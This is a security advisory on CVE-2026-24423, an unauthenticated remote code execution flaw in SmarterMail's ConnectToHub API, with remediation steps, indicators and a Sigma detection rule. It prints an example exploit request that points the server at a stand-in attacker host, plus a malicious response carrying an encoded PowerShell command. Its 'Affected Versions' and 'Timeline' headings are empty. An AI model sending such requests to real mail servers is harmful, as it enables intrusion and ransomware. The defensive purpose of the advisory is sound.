CVE-2026-24423: SmarterTools SmarterMail -- Missing Authentication RCE via ConnectToHub

Background

SmarterMail is a Windows-based enterprise email server platform developed by SmarterTools, used by businesses and hosting providers globally. It provides SMTP, IMAP, POP3, and webmail services and is commonly deployed in environments where organizations self-host their email infrastructure.

CVE-2026-24423 is a critical missing authentication vulnerability (CWE-306) in SmarterMail’s ConnectToHub API method. This API is intended for internal cluster communication but lacks authentication controls, allowing any network-accessible attacker to invoke it. By pointing this API at a malicious HTTP server, the attacker can deliver OS commands that SmarterMail executes, achieving unauthenticated remote code execution.

CISA added this to the KEV catalog on 2026-02-05, with a Known Ransomware Association. Email servers are critical infrastructure for organizations and highly prized ransomware targets for their role in business communications and their frequent access to sensitive internal data.

Technical Mechanism

CWE-306 (Missing Authentication for Critical Function) means the ConnectToHub endpoint performs sensitive operations (fetching and executing configuration or commands from a remote server) without verifying the caller’s identity.

POST /api/v1/ConnectToHub HTTP/1.1
Host: mail.victim.com
Content-Type: application/json

{
  "hubUrl": "http://attacker.com/malicious-config",
  "hubToken": "any-value-accepted"
}

SmarterMail fetches the URL from the attacker’s server, which returns a response containing an OS command directive. SmarterMail executes the command, completing the unauthenticated RCE chain.

// Malicious response served by attacker's HTTP server
{
  "action": "exec",
  "command": "powershell -enc <base64_encoded_payload>"
}

Real-World Exploitation Evidence

CISA has confirmed active exploitation with a ransomware association. Email servers are premium ransomware targets: they contain organizational communications, may hold contracts and financial data, and their disruption maximizes pressure on victims to pay. SmarterMail’s self-hosted deployment model means many organizations run outdated versions without automatic update mechanisms. Post-exploitation typically involves credential harvesting from stored email accounts, mailbox exfiltration, and then ransomware deployment.

Ransomware context: The ransomware association indicates criminal ransomware operators are using CVE-2026-24423 as an initial access vector. Email server compromises provide high-value data for double-extortion schemes before deploying encryptors.

Impact Assessment

• Unauthenticated remote code execution on the SmarterMail server (Windows)
• Access to all hosted email accounts, contacts, and calendar data
• Credential harvesting from webmail session tokens and stored accounts
• Ransomware deployment as primary use case per CISA designation
• Business communications disruption as operational leverage

Affected Versions

Remediation Steps

1. Patch SmarterMail immediately using SmarterTools’ official security update.
2. Restrict the SmarterMail management interface and API to internal network access only.
3. Block the ConnectToHub API endpoint at WAF/firewall if immediate patching is impossible.
4. Audit email server logs for anomalous API calls from external IPs.
5. Scan the SmarterMail server for unauthorized files, scheduled tasks, or new user accounts.
6. Assume compromise and treat all hosted credentials as potentially exposed.

Detection Guidance

Log Sources: SmarterMail server logs, IIS/web server logs, Windows Event Logs, network proxy logs.

IOCs: POST requests to /api/v1/ConnectToHub from external IPs; outbound HTTP connections from SmarterMail server to external infrastructure; new Windows scheduled tasks or services created by SmarterMail process.

Sigma rule:

title: SmarterMail ConnectToHub Unauthenticated Access CVE-2026-24423
logsource:
  category: webserver
detection:
  selection:
    cs-uri-stem|contains: '/ConnectToHub'
    cs-method: 'POST'
    c-ip|not_cidr:
      - '10.0.0.0/8'
      - '172.16.0.0/12'
      - '192.168.0.0/16'
  condition: selection
level: critical

Timeline

References

• NVD — CVE-2026-24423
• CISA KEV — CVE-2026-24423
• MITRE CVE — CVE-2026-24423